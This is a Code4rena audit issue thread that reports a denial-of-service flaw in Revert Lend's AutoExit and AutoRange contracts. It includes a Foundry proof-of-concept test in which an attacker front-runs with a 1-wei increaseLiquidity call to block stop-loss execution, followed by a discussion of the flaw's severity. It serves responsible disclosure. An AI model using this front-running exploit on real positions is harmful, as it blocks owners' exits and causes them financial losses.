search

code-423n4 / 2024-04-revert-mitigation-findings

1 stars 1 forks source link

An attacker can DOS AutoExit and AutoRange transformers and incur losses for position owners #66

Open c4-bot-1 opened 2 months ago

c4-bot-1 commented 2 months ago

Lines of code

https://github.com/revert-finance/lend/blob/dcfa79924c0e0ba009b21697e5d42d938ad9e5e3/src/automators/AutoExit.sol#L130 https://github.com/revert-finance/lend/blob/dcfa79924c0e0ba009b21697e5d42d938ad9e5e3/src/transformers/AutoRange.sol#L139

Vulnerability details

Impact

An exploiter can block the execution of AutoExit and AutoRange transformers, which leads to the following consequences:

Vulnerability details

The AutoRange.sol and AutoExit.sol contracts serve the following functionality in Revert Lend:

Both of those contracts implement an execute() function that respectively transforms an NFT position based on the parameters provided to it. It can only be called by revert controlled bots (operators) which owners have approved for their position or by the V3Vault through it's transform() function.

The problem in both of those contracts is that the execute() function includes a validation that allows malicious users to DOS transaction execution and thus compromise the safety and integrity of the managed positions.

AutoExit::execute()

https://github.com/revert-finance/lend/blob/audit/src/automators/AutoExit.sol#L130

 function execute(ExecuteParams calldata params) external {
        ....       

        // get position info
        (,, state.token0, state.token1, state.fee, state.tickLower, state.tickUpper, state.liquidity,,,,) =
            nonfungiblePositionManager.positions(params.tokenId);

        ....

        // @audit can be front-run and prevent execution
        if (state.liquidity != params.liquidity) {
            revert LiquidityChanged();
        }

        ....
    }

AutoRange::execute()

https://github.com/revert-finance/lend/blob/audit/src/transformers/AutoRange.sol#L139

function execute(ExecuteParams calldata params) external {
        ....       

        // get position info
        (,, state.token0, state.token1, state.fee, state.tickLower, state.tickUpper, state.liquidity,,,,) =
            nonfungiblePositionManager.positions(params.tokenId);

        // @audit can be front-run and prevent execution
        if (state.liquidity != params.liquidity) {
            revert LiquidityChanged();
        }

        ....
    }

The problematic validation shared in both function is this one:

// @audit can be front-run and prevent execution
      if (state.liquidity != params.liquidity) {
          revert LiquidityChanged();
      }

The check is meant to ensure that the execution parameters the transaction was initiated with, are executed under the same conditions (the same liquidity) that were present when revert bots calculated them off-chain.

The main issue here arises from the fact that liquidity of a position inside NonfungiblePositionManager can be manipulated by anyone. More specifically NonfungiblePositionManager::increaseLiquidity() can be called freely, which means that liquidity can be added to any NFT position without restriction.

This can be validated by looking at NonfungiblePositionManager::increaseLiquidity()

https://github.com/Uniswap/v3-periphery/blob/697c2474757ea89fec12a4e6db16a574fe259610/contracts/NonfungiblePositionManager.sol#L198C14-L198C31

 function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        override     //<---------- No `isAuthorizedForToken` modifier - anyone can call
        checkDeadline(params.deadline)
        returns (
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    { ... }

....

function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        override
        isAuthorizedForToken(params.tokenId) // <------- Only position owner can call
        checkDeadline(params.deadline)
        returns (uint256 amount0, uint256 amount1)
    { ... }

All of this allows any attacker to exploit the check at practically zero cost

POC

I've coded a POC to prove how for the cost of 1 wei (basically free) an attacker prevents a stop loss order for a position from being executed.

I've added the following test to AutoExit.t.sol, reusing the logic from the testStopLoss() test

function testExploitStopLoss() external {
        vm.prank(TEST_NFT_2_ACCOUNT);
        NPM.setApprovalForAll(address(autoExit), true);

        vm.prank(TEST_NFT_2_ACCOUNT);
        autoExit.configToken(
            TEST_NFT_2,
            AutoExit.PositionConfig(
                true,
                true,
                true,
                -84121,
                -78240,
                uint64(Q64 / 100),
                uint64(Q64 / 100),
                false,
                MAX_REWARD
            )
        ); // 1% max slippage

        (, , , , , , , uint128 liquidity, , , , ) = NPM.positions(TEST_NFT_2);

        // create a snapshot of state before transformation
        uint256 snapshot = vm.snapshot();

        // --- NORMAL SCENARIO ---

        // executes correctly
        vm.prank(OPERATOR_ACCOUNT);
        autoExit.execute(
            AutoExit.ExecuteParams(
                TEST_NFT_2,
                _getWETHToDAISwapData(),
                liquidity,
                0,
                0,
                block.timestamp,
                MAX_REWARD
            )
        );

        // --- ATTACKER SCENARIO ---

        // go back to the state before transformation
        // and replay the scenario with front-running
        vm.revertTo(snapshot);

        // random attacker address
        address attacker = address(101);
        deal(address(WETH_ERC20), attacker, 10_000);

        // attacker sends dust amount to change liquidity
        vm.startPrank(attacker);
        WETH_ERC20.approve(address(NPM), 1);
        (, , uint256 amount1) = NPM.increaseLiquidity(
            INonfungiblePositionManager.IncreaseLiquidityParams(
                TEST_NFT_2,
                0,
                1,
                0,
                0,
                block.timestamp
            )
        );
        vm.stopPrank();

        // liquidity increased by 1 wei
        assertEq(amount1, 1);

        // AutoExit is DOSed and StopLoss was blocked
        vm.prank(OPERATOR_ACCOUNT);
        // reverts with liquidity changed
        vm.expectRevert(Constants.LiquidityChanged.selector);
        autoExit.execute(
            AutoExit.ExecuteParams(
                TEST_NFT_2,
                _getWETHToDAISwapData(),
                liquidity,
                0,
                0,
                block.timestamp,
                MAX_REWARD
            )
        );
    }

Recommended mitigation steps

Consider removing the problematic check from both functions, since it can cause more harm than good in this particular scenario.

Assessed type

DoS

c4-sponsor commented 2 months ago

kalinbas marked the issue as disagree with severity

kalinbas commented 2 months ago

We agree with this finding and will remove the check. But this should be at max a medium risk as there is no direct loss of funds, but its more of a DOS (which could be resolved by using flashbots for example).

c4-sponsor commented 2 months ago

kalinbas (sponsor) confirmed

ktg9 commented 2 months ago

Hi @kalinbas , I think the same issue has been reported and it's sorted as QA https://github.com/code-423n4/2024-03-revert-lend-findings/issues/124

BogoCvetkov commented 2 months ago

Thanks, @ktg9 ! Good observation!

However the mentioned submission only factors the AutoRange.sol transformer, which introduces the milder impact. This finding also includes the AutoExit.sol case where a DOS leads to a significantly more serious impact. Here are the arguments AutoExit.sol is documented to:

Lets a v3 position to be automatically removed (limit order) or swapped to the opposite token (stop loss order) when it reaches a certain tick.

Here are short definitions of the 2 operations from Investopedia:

Limit Order definition

A limit order guarantees that an order is filled at or better than a specific price level. Limit orders can be used in conjunction with stop orders to prevent large downside losses.

Stop Loss definition

A stop-loss is designed to limit an investor's loss on a security position that makes an unfavorable move.

Both of those operations are very time-bound, especially the Stop Loss order, where the idea is that the position owner configures a threshold at which he should exit the market or else his position will sustain losses. In case the price(ticks) drop below that threshold, DOSing execution even for a shorter amount of time can seriously affect the position, especially if it is a big one and the market is very active and volatile (like in a bull run) - the longer the position does NOT exit the market, the greater the losses.

DOSing here will not cost much compared to how it can affect a position.

The reason why the mentioned submission was qualified as QA is because:

ktg9 commented 2 months ago

Hi @BogoCvetkov , thank you for your response. Note that I'm not the judge .

The function AutoExit.execute will be called by an operator (likely a bot) and this operator is the one who provide ExecuteParams, not the user who call AutoExit.configureToken. I believe the bot has the responsibility to provide the correct liquidity at the time it calls execute. So I think judge's comment on the original issue still true here. Like the issues with liquidations, there is no real point to this attack, as it neither profits nor truly halts the protocol. It only causes a transaction from an operator to fail and donates a minuscule amount of assets to the protocol. Therefore, I am downgrading it to low. I think judge @jhsagd76 will take a look.

BogoCvetkov commented 2 months ago

Thanks for the comment!

The issue here can occur regardless of the parameters the bot provides, since it can still be front-run with another transaction that changes the liquidity.

The difference here is that if the order is not executed in time it can lead to losses - thats the main idea of the AutoExit.sol contract. The loss here occur, because the position is prevented from exiting the market (when it should) -this is why it's called a stop loss order.

I've provided enough arguments above, so let's see what the judge thinks

jhsagd76 commented 2 months ago

I think the attack in AutoExit is more convincing, although passing specific parameters in auto range might produce a similar effect. However, since this exploitation is based on MEV, we should assume that the parameters in the original tx are not edge. This report elaborates more thoroughly on the exploitation scenarios and impacts, giving me the confidence to mark it as M.

I would like to consider them as two different vulnerability paths. The path in AutoRange was judged as L in the original competition, and the path in AutoExit is now judged as M.

c4-judge commented 2 months ago

jhsagd76 marked the issue as satisfactory

c4-judge commented 2 months ago

jhsagd76 marked the issue as selected for report

c4-judge commented 2 months ago

jhsagd76 changed the severity to 2 (Med Risk)